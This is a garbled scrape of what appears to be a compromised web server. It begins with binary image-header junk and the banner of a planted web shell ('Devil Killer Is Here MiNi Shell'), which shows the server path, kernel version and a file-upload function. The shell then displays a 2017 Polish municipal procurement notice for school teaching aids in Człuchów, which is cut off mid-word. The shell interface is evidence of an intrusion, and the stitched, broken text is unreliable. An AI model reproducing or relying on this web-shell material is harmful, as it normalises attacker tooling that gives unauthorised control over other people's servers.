JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20170221/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20170221/29363-N-2017.html

<BR/><p>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia (jeżeli dotyczy):  </p><a class='base announcementNumber' href='http://www.bip.czluchow.pl' target='_blank'>http://www.bip.czluchow.pl</a><br/><hr class='linkedItemsSeparator' /><div class="divRow_xforms"><div>
              Ogłoszenie nr 29363 - 2017
              z dnia 2017-02-21 r.
            </div><div class="headerMedium_xforms" style="text-align: center">Człuchów: Wyposażenie bazy dydaktycznej szkół w ramach projektu pn.: Edukacja drogą do sukcesu w Gminie Człuchów, współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego, w ramach Działania 03.02 Edukacja ogólna Regionalnego Programu Operacyjnego Województwa Pomorskiego na lata 2014-2020.<br />
            OGŁOSZENIE O ZAMÓWIENIU -
            
              Dostawy
            </div><div><b>Zamieszczanie ogłoszenia:</b>
              obowiązkowe
            </div><div><b>Ogłoszenie dotyczy:</b>
              zamówienia publicznego
            </div><div><b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b><br /><div style="padding-left: 20px">
                tak
              </div><br /><b>Nazwa projektu lub programu</b><br />Edukacja drogą do sukcesu w Gminie Człuchów, współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego, w ramach Działania 03.02 Edukacja ogólna Regionalnego Programu Operacyjnego Województwa Pomorskiego na lata 2014-2020.</div><div><b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje  społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %)
            <br /></div><div class="headerLarge_xforms" style="text-align: left"><u>SEKCJA I: ZAMAWIAJĄCY</u></div><div style="padding-left: 20px"><b>Postępowanie przeprowadza centralny zamawiający </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b><br /><b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów:
            <br /><br /><b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b><br /><div style="padding-left: 20px">
                nie
              </div><b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej  mające zastosowanie krajowe prawo zamówień publicznych:</b><br /><b>Informacje dodatkowe:</b><br /></div><div style="padding-left: 20px;"><div style="text-align: left"><b>I. 1) NAZWA I ADRES: </b>Urząd Miejski w Człuchowie, krajowy numer identyfikacyjny
              52540629300, ul.
              ul. Wojska Polskiego 
              1,
              77300  
              Człuchów, woj.
              pomorskie, państwo
              Polska, tel.
              598 342 291, e-mail
              cheba@czluchow., faks
              598 343 272.
              <br />
              Adres strony internetowej (URL): www.czluchow.eu<br /><br /></div><div style="text-align: left"><b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b>
                Administracja samorządowa
              </div><div style="text-align: left"><b>
                I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>:
              </b><div style="padding-left: 20px">
                Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym
                w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających):
                <br /></div></div><div style="text-align: left"><b>
                I.4) KOMUNIKACJA:
              </b><br /><b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b><div style="padding-left: 20px">
                  tak
                <br />www.bip.czluchow.pl</div><br /><b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b><div style="padding-left: 20px">
                  tak
                <br />www.bip.czluchow.pl</div><br /><b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b><div style="padding-left: 20px">
                  nie
                <br /></div><br /><b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b><br /><b>Elektronicznie</b><div style="padding-left: 20px">
                  nie
                <br />
                adres
                <br /></div><br /><div style="padding-left: 20px"><b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  nie
                <br /><b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  tak
                  <br />
                  Inny sposób:
                  <br />W formie papierowej<br />
                Adres:
                <br />Urząd Miejski w Człuchowie, al. Wojska Polskiego 1, 77-300 Człuchów</div><br /><b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b><div style="padding-left: 20px">
                  nie
                <br />
                Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL)
                <br /></div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA II: PRZEDMIOT ZAMÓWIENIA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><br /><b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b>Wyposażenie bazy dydaktycznej szkół w ramach projektu pn.: Edukacja drogą do sukcesu w Gminie Człuchów, współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego, w ramach Działania 03.02 Edukacja ogólna Regionalnego Programu Operacyjnego Województwa Pomorskiego na lata 2014-2020.<br /><b>Numer referencyjny: </b>RIPiOŚ.271.03.2017.MA<br /><b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b><br /><div style="padding-left: 20px; text-align: justify">
                  nie
                </div><br /><b>II.2) Rodzaj zamówienia: </b>
                dostawy
              <br /><b>II.3) Informacja o możliwości składania ofert częściowych</b><br />
              Zamówienie podzielone jest na części:
              <br /><div style="padding-left: 20px">
                  Tak
                  <br /><b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b><br />
                    wszystkich części
                  <br /></div><br /><br /><b>
                II.4) Krótki opis przedmiotu zamówienia
              </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:
              </b>Szczegółowy opis przedmiotu zamówienia  część I POMOCE DYDAKTYCZNE 

LP	NAZWA	OPIS	ILOŚĆ	SZKOŁA
1	mikroskop z kamerą	Mikroskop z kamerą USB. Mikroskop o
parametrach minimalnych: powiększenie: 20x1280x, okulary: 5x, 16x, średnica okularów: 19,5 mm, średnica tubusu: 23mm, obiektywy: achromatyczne, 4x, 10x, 40x, powiększenie tubusu 1,0x  2,0x, oświetlenie LED, kamera VGA (640x480
pikseli) z kablem USB, oprogramowanie
sterujące na płycie CD (z zachowaniem
praw autorskich do rzeczowego oprogramowania), oprogramowanie
umożliwia prace z dowolnym systemem operacyjnym np. Windows XP / Vista / 7 /8, stolik krzyżowy ze skalą milimetrową, oświetlenie górne i dolne z regulacją natężenia, filtry podstolikowe barwne kontrastowe (koło filtrowe  kolory  standardowe), zasilanie bateryjne 3 x AA (1,5), 4,5V łącznie (co najmniej 72 godziny pracy ciągłej z pełnym oświetleniem). Minimalna zawartość dodatkowego 
wyposażenia: przykładowe (min. 5) gotowe  preparaty, narzędzia preparacyjne (szkiełka podstawowe, szkiełka nakrywkowe, w tym 
prosty mikrotom), plastikowa walizka transportowa	1	SP nr 1 w Człuchowie
2	mikroskop	Mikroskop optyczny o parametrach
minimalnych: podwójny system oświetlenia z płynną regulacją jasności: światło przechodzące oraz odbite, oświetlenie diodowe LED, obiektywy achromatyczne 4x, 10x i 40x oraz okular szerokopolowy WF10x, zakres powiększeń: od 40x do 400x, stolik krzyżowy z uchwytem preparatów
oraz precyzyjnymi pokrętłami przesuwu w płaszczyźnie poziomej w osi X i Y,
mechanizm przesuwu preparatu
posiadający noniusz (specjalną podziałkę zwiększającą dokładność odczytu), sześciogniazdowe koło z kolorowymi filtrami, wbudowany m
oduł zasilania bateryjnego 
możliwość pracy na bateriach
bez konieczności podłączenia do sieci
elektrycznej, opcjonalna kamera
mikroskopowa o rozdzielczości 2
megapikseli. Minimalna zawartość dodatkowego wyposażenia: przykładowe (min. 5) gotowe
preparaty, narzędzia preparacyjne (szkiełka przedmiotowe szkiełka nakrywkowe, plastikowe pudełko na preparaty, pęseta, pipeta, probówka, patyczek preparacyjny, igła preparacyjna, papier do czyszczenia
optyki, przylepne etykiety do opisywania preparatów, przeciwkurzowy pokrowiec na
mikroskop, zasilacz sieciowy.	12	SP nr 1 w Człuchowie
3	walizka ekobadacza do obserwacji oraz badań	Zestaw dydaktyczny umożliwiający przeprowadzenie łącznie ok. 500 testów kolorystycznych określających zawartość azotynów, azotanów, fosforanów, amoniaku, jonów żelaza, twardości i ph badanej wody oraz zmierzenie kwasowości gleby. Walizka ekobadacza musi zawierać min.: notatnik, płyn Helliga, strzykawka 5 ml, strzykawka 10 ml, bibuły osuszające, lupa powiększająca x 5, probówka okrągło denna, stojak plastikowy do probówek, łyżeczka do poboru próbek gleby, płytka kwasomierza Helliga, trzy łyżeczki do poboru odczynników sypkich, trzy próbówki analityczne płaskodenne z korkami, zalaminowane skale barwne do odczytywania wyników, 15-cie plastikowych buteleczek z mianowanymi roztworami wskaźników, siateczka do usunięcia zanieczyszczeń mechanicznych z pola poboru wody.	1	SP nr 1 w Człuchowie
4	skały i minerały 56 próbek w drewnianym pudełku	Zestaw różnych skał i minerałów. Zestaw    składa się min. z 56 okazów, wielkość    pojedynczego okazu min. 34 cm.    Minimalna zawartość dodatkowego    wyposażenia: drewniane opakowanie/etui	1	SP nr 1 w Człuchowie
5	uniwersalny zestaw szkolny do badania jakości  wody, gleby, powietrza	Zestaw do badania, jakości gleby, wody i powietrza przeznaczony do prowadzenia zajęć we wszystkich typach szkół. Zestaw pozwala na przeprowadzenia wielu doświadczeń, których opis oraz baza teoretyczna opisana jest w instrukcji. Bogate wyposażenie zestawu w sprzęt laboratoryjny (szklany) i środki pomocnicze umożliwia przeprowadzenie testów wody, gleby i powietrza. Przykładowe doświadczenia i testy: na rozpuszczony tlen, liczbę kolonii bakterii coli, pH wody, temperaturę, mętność, azotyny, całkowity fosfor, biochemiczne zapotrzebowanie na tlen 5 dniowe, całkowitą zawartość substancji stałych, twardość wody, rozkład wielkości ziaren w glebie, rodzaje gleby, odczyn pH gleby, bakterie w glebie, oddychanie gleby, słoje drzew jako wskaźniki jakości powietrza, jakość roślin a jakość powietrza, badanie warstwy pyłu, gazowe zanieczyszczenie powietrza, zachowanie się roślin w obecności środków pielęgnacyjnych do podłóg.	1	SP nr 1 w Człuchowie
6	komplet do doświadczeń z magnetyzmu	Pomoc dydaktyczna umożliwająca przeprowadzenie doświadczeń z magnetyzmem  m.in.: własności magnesów; właściwości biegunów; magnetyzm trwały i nie trwały; linie sił pól magnetycznych; pole magnetyczne; metale w polu magnetycznym.	1	SP nr 1 w Człuchowie
7	komplet preparatów (90szt.)	Komplet 90 preparatów z opisami w języku polskim. W ich skład wchodzą zestawy preparatów tkankowych, preparaty zoologiczne i preparaty roślinne.	1	SP nr 1 w Człuchowie
8	lupa- średnica 10cm	Lupa w oprawie z tworzywa sztucznego. Średnica 10cm.	13	SP nr 1 w Człuchowie
9	lornetka 	Lornetka o budowie dachopryzmatyczna, kolorowe soczewki, pryzmaty ze szkła optycznego klasy min. BK7, średnica obiektywów 25 mm, powiększenie min. 10 razy, masa max. 170 gram, w zestawie pasek do lornetki i pokrowiec.	12	SP nr 1 w Człuchowie
10	kompas	Kompas z zamykaną obudową z instrumentami celowniczymi, komora busoli z igłą magnetyczną wypełniona olejem mineralnym tłumiącym drgania. Średnica 5cm	15	SP nr 1 w Człuchowie
11	globus fizyczny śr.250	Globus fizyczny. Optymalne wymiary  wysokość: 30 38cm, średnica kuli: 2225 cm, polskie nazewnictwo, stopka i cięciwa plastykowa.	15	SP nr 1 w Człuchowie
12	zestaw obwodów elektrycznych	Zestaw do budowania podstawowych obwodów elektrycznych. Elementy obwodu zamontowane są na przezroczystych płytkach, tak aby widoczny był cały obwód. Połączeń elektrycznych płytek dokonuje się szybko i łatwo poprzez specjalne magnetyczne styki. Wymagane trzy baterie C. W zestawie 6 płytek (zamontowane: 3 żarówki /2 rodz./ na podstawkach, brzęczyk, włącznik przyciskowy, silniczek), drut rezystancyjny, 10 przewodów ze specjalnymi stykami magnetycznymi, 2 przewody krokodylkowe, 3 łączniki baterii.	1	SP nr 1 w Człuchowie
13	zestaw 20 magnesów sztabkowych w pudełku	Zestaw 20 magnesów sztabkowych z biegunami oznaczonymi kolorami oraz z tłoczonym oznaczeniem biegunów S-N. Wymiary magnesów: 14 x 10 x 50 mm. Całość zapakowana w walizkę.	1	SP nr 1 w Człuchowie
14	plansze interaktywne do przyrody dla szkoły podstawowej	Zestaw plansz interaktywnych obejmuje 7 przedmiotów w zakresie szkoły podstawowej. Materiały edukacyjne opracowane z uwzględnieniem nowoczesnych form nauczania. Wszystkie lekcje składają się z animacji, dźwiękowych komentarzy, tekstu oraz elementów interaktywnych. Dodatkowo każda plansza zawiera specjalne narzędzia pomocnicze, dzięki którym nauczyciel sam decyduje o wyborze tematu i o sposobie przeprowadzenia zajęć. Na planszach można nanosić własne notatki, podkreślać ważne informacje i dowolnie rozmieszczać znajdujące się na niej elementy. Zrealizowane zagadnienia można zweryfikować dzięki specjalnie przygotowanym testom kompetencji. Wszystkie plansze przedmiotowe są zgodne z nową podstawą programową.	5	SP nr 1 w Człuchowie
15	oprogramowanie edukacyjne - Przyroda 4-6	Oprogramowanie eukacyjne do nauki przyrody przygotowane dla nauczycieli szkół podstawowych w klasach 46. Wszystkie zgromadzone w programie materiały są zgodne z nową podstawą programową. Praca z programem to połączenie nowoczesnych metod prezentacji materiału (animacji, filmów, doskonałych symulacji, prezentacji i zdjęć) z interaktywnymi ćwiczeniami, dzięki którym podstawowa wiedza jest przyswajana przez dzieci szybko i efektywnie. Przyroda to m.in.: 36 zagadnień wraz z dołączonymi scenariuszami lekcji w formie drukowanej i elektronicznej (pliki PDF), około 50 animacji i ilustracji, ponad 100 symulacji, interaktywnych ćwiczeń, prezentacji i filmów, filmy instruktażowe (m.in. obsługa tablicy interaktywnej, praca z programem). Dodatkowo do programu dołączone scenariusze lekcyjne w formie tradycyjnej oraz książeczkę ze zdjęciami i opisami zasobów multimedialnych.	1	SP nr 1 w Człuchowie
16	gra edujkacyjna - bingo	Szybka gra utrwalająca tabliczkę mnożenia. Zadaniem dzieci jest ułożyć z kart liczbowych 3 równania na mnożenie. Wygrywa ten, kto ułoży je pierwszy.  Zawartość: 90 kart liczbowych, instrukcja.	4	SP nr 1 w Człuchowie
17	gra edukacyjna do badania podzielności liczb	Gra do badania podzielności liczb i wyszukiwania liczb pierwszych. Wiek: od 9 lat. Zawartość: 24 duże trójkąty niebieskie (bok 8 cm) - 45 średnich trójkątów (bok 6 cm) - 95 małych czerwonych trójkątów (bok 3 cm) - łącznie 164 elementy z pianki  instrukcja.
4	SP nr 1 w Człuchowie
18	gra edukacyjna - tabliczka mnożenia	Gra edukayjna do nauki tabliczki mnożenia. Zasady gry: każdy gracz otrzymuje podstawkę z dwoma rzędami ruchomych klapek, na których znajdują się liczby od 2 do 10, które będą grały rolę czynników w układanych działaniach. Na początku gry wszystkie klapki są podniesione, a liczby na nich - widoczne. Gracz rzuca czterema kostkami i otrzymuje 4 cyfry (np. 1, 0, 2, 6). Teraz stara się ułożyć z nich takie liczby dwucyfrowe, dla których ma jeszcze odkryte klapki z czynnikami. Wygrywa ten, kto pierwszy zakryje wszystkie swoje klapki. Gra dla dzieci od 8 lat. Zawartość: 4 drewniane stojaki z ruchomymi klapkami (wym. 26 x 6 x 6 cm) - 4 drewniane kostki (bok 2,5 cm)  instrukcja.	4	SP nr 1 w Człuchowie
19	gra edukacyjne -mnożnie i dzielenie	Gra CD zawierająca szereg edukacyjnych zabaw ćwiczących mnożenie i dzielenie od zera do stu, wykorzystując do tego celu łatwo zapamiętywalne przykłady.	4	SP nr 1 w Człuchowie
20	komplet 6 pojemników do badania objętości	Zbiorniczki posiadające pojemność od 0,25 litra do 1,0 litra: sześcian o pojemności 1,0 litra, sześcian o pojemności 0,5 litra, walec o pojemności 1,0 litra, walec o pojemności 0,5 litra, graniastosłup o podstawie trójkąta o pojemności 0,5 litra, graniastosłup o podstawie trójkąta o pojemności 0,25 litra. Na wszystkich pojemnikach zamieszczono czytelną podziałkę. Zastosowanie: porównywanie objętości w zależności od kształtu bryły i wielkości jej podstawy, doświadczanie związku pomiędzy kształtem a pojemnością. Zawartość: 6 zbiorników z trwałego przeźroczystego tworzywa, pojemność zbiorników od 0,25 do 1 litra, wysokość 11 cm.	2	SP nr 1 w Człuchowie
21	piłka arytmetyczna- dodawanie	Piłka ułatwiająca liczenie w pamięci. Rzucając piłkę dzieci łapią ją oburącz i odszukują działanie najbliżej swojego lewego kciuka. Średnica 40 cm.	2	SP nr 1 w Człuchowie
22	gra memory - mnożenie	W skład gry wchodzi 35 par kartoników oznaczonych na odwrocie "x razy y" lub "równa się". Na odwrotnej stronie kartoników znajdują się odpowiednio: działania i wyniki tabliczki mnożenia do 100. Gra dla 2-8 osób. Zasady: rozkładamy wszystkie kartonki z działaniami i wynikami do spodu. Gracze losują kolejno dwa kartoniki i próbują zestawić je w pary. Jeśli dwa kartoniki stanowią parę, np. "2x5" i "10" gracz zabiera je i gra dalej. Jeśli kartoniki nie tworzą równania, kolejka przechodzi na następnego gracza. Zawartość: 70 kartoników 4,3 x 4,3 cm kartoniki ze sztywnej tektury.	4	SP nr 1 w Człuchowie
23	krzyż geometryczny- demonstracyjny	Pomoc dydaktyczna pozwalająca uczniom budować wielokąty, odkrywać ich własności, poznawać różnice i podobieństwa. Krzyż kłada się z dwóch drewnianych listw połączonych środkową śrubą, dzięki czemu zawsze powstają dwie pary kątów wierzchołkowych. Na czterech ramionach krzyża znajdują się kolorowe kołki, przy czym kołki tego samego koloru znajdują się w równej odległości od środka. Ułatwia to prowadzenie ćwiczeń z klasą, a także dokumentowanie wniosków przez uczniów. Zawartość: 2 drewniane listwy połączone metalową śrubą (dł. 100 cm) - wbudowane magnesy umożliwiają mocowanie do tablicy - 4 pasujące trwałe gumy - instrukcja	4	SP nr 1 w Człuchowie
24	komplet odważników	Dwa komplety plastikowych odważników w podstawie
każdy komplet zawiera 4 odważniki o różnej wysokości i ciężarze
wysokość odważników: od 4 do 7 cm	1	SP nr 1 w Człuchowie
25	bryły geometryczne- składane	8 brył wykonanych z przeźroczystego tworzywa z wyjmowalną podstawą. Każda bryła posiada swoją siatkę wykonaną z kolorowego tworzywa. Siatkę po złożeniu można umieścić w środku bryły, efekt czego doskonale widać poprzez przeźroczyste ściany brył. Bryły można ponadto napełniać wodą lub materiałem sypkim (tj. ryż lub kasza) w celu porównywania objętości figur. Spis brył: walec, stożek, sześcian, prostopadłościan, graniastosłup trójkątny, graniastosłup sześciokątny, czworościan, ostrosłup o podstawie kwadratu. Bryły i siatki wykonane są z trwałego i estetycznego tworzywa. Zawartość: 8 brył przeźroczystych z ruchomą podstawą, 8 kolorowych siatek do składania, wysokość brył: 7,6 cm, umieszczone w kartonie, instrukcja metodyczna.	2	SP nr 1 w Człuchowie
26	piłka arytmetyczna- mnożenie przez 2,5,10	Piłka ułatwiająca liczenie w pamięci. Rzucając piłkę dzieci łapią ją oburącz i odszukują działanie najbliżej swojego lewego kciuka. Średnica 40 cm.	1	SP nr 1 w Człuchowie
27	makatka - liczenie sposobem pisemnym	Makatka z mocnego materiału (wym. 62 x 69 cm). W zestawie z makatką::  30 kartoników z liczbami - 46 kartoników z zapisem "nad kreską" oraz symbolami - 50 elementów symbolizujących jedności, dziesiątki i setki, wykonanych z grubego kartonu (setka o wym. 10 x 10 cm) - instrukcja. Zastosowanie: Makatka łączy w sobie zalety materiału demonstracyjnego z konkretem do manipulacji. Ułatwia uczniom zrozumienie trudnych zagadnień związanych z dodawaniem i odejmowaniem sposobem pisemnym. W czasie ćwiczenia dzieci manipulują elementami symbolizującymi setki, dziesiątki i jedności. W tym samym czasie dziecko równolegle dokonuje "pisemnego zapisu" swoich działań, odnotowując zamianę na wyższy lub niższy rząd. Nauczyciel w czasie demonstracji również ma wszystko, co potrzebne pod ręką, aby wytłumaczyć uczniom jakich zapisów dokonywać i z czego one wynikają. Makatka posiada oddzielne, przezroczyste kieszonki na demonstrację działania, a także duże kieszenie na przechowywanie elementów.	3	SP nr 1 w Człuchowie
28	sześciany /1cm	Wielofunkcyjne sześciany ze złączami o boku 1 cm i wadze 1 g każdy, w 5 żywych kolorach, co umożliwia wykorzystywanie ich jako: liczmany, odważniki, do budowy kolorowych liczb, do budowy i prostych obliczeń na prostopadłościanach, do układania wzorów	1	SP nr 1 w Człuchowie
29	oprogramowanie interaktywne do j. niemieckiego	Program służący do przećwiczenia i sprawdzenia wiadomości jak i do doskonalenia języka niemieckiego. Zawartość krążka podzielona jest na następujące działy tematyczne: Rzeczowniki i zaimki  rozpoznawanie rodzaju, odmiana rzeczownika, odmiana z rodzajnikiem określonym i nieokreślonym; Czasowniki  czas teraźniejszy czasowników prostych, posiłkowych oraz modalnych, tryb rozkazujący, czasowniki rozdzielnie złożone; Przyimki i ich konstrukcja  przyimki do określania czasu, przyimki wyrażające ruch lub stan spoczynku, inne przyimki; Liczebniki i czas  formalne i nieformalne odczytywanie czasu, wypełnianie liczebników ze słuchu; Szyk zdania  szyk wyrazów w zdaniu, wybór dobrej odpowiedzi, dyktando zdań pojedynczych; Słownictwo  przeczenie kein x nicht, antonimy przymiotników, grupy słów, tłumaczenie słów. Aplikacja umożliwia drukowanie kart roboczych, dlatego istnieje możliwość rozwiązywania zadań poza komputerem. W ustawieniach każdego typu zadań można wybrać dowolną ilość przykładów  od 10 do 30. Tabele z wynikami dla każdego typu zadań informują o najlepszych uczestnikach. Wszystkie wyniki uczniów wpisywane są do osobnego pliku, w którym jest zawarty rodzaj zadania, które było rozwiązywane, data, godzina, liczba poprawnych i błędnych odpowiedzi i ocena końcowa. Aplikacja ma prostą obsługę i orientacja w programie jest bezproblemowa dzięki graficznemu interfejsowi. Zastosowanie CD-ROM-u: dla początkujących i dla lekko zaawansowanych.	1	SP nr 1 w Człuchowie
30	konwersacje niemieckie i angielskie	Konwersacje to multimedialny program do pracy z tablicą interaktywną dowolnego producenta do wykorzystania na lekcjach języka angielskiego i niemieckiego w szkole podstawowej i w gimnazjum. Program pomaga przełamać bariery związane z wypowiadaniem się uczniów w języku obcym, angażuje zdolności poznawcze i rozwija intelektualnie. Program obejmuje: 4 działy tematyczne  transport, sport, ubrania, pogoda; ponad 300 najczęściej używanych wyrażeń; około 100 praktycznych ćwiczeń; całość w języku angielskim i niemieck	1	SP nr 1 w Człuchowie
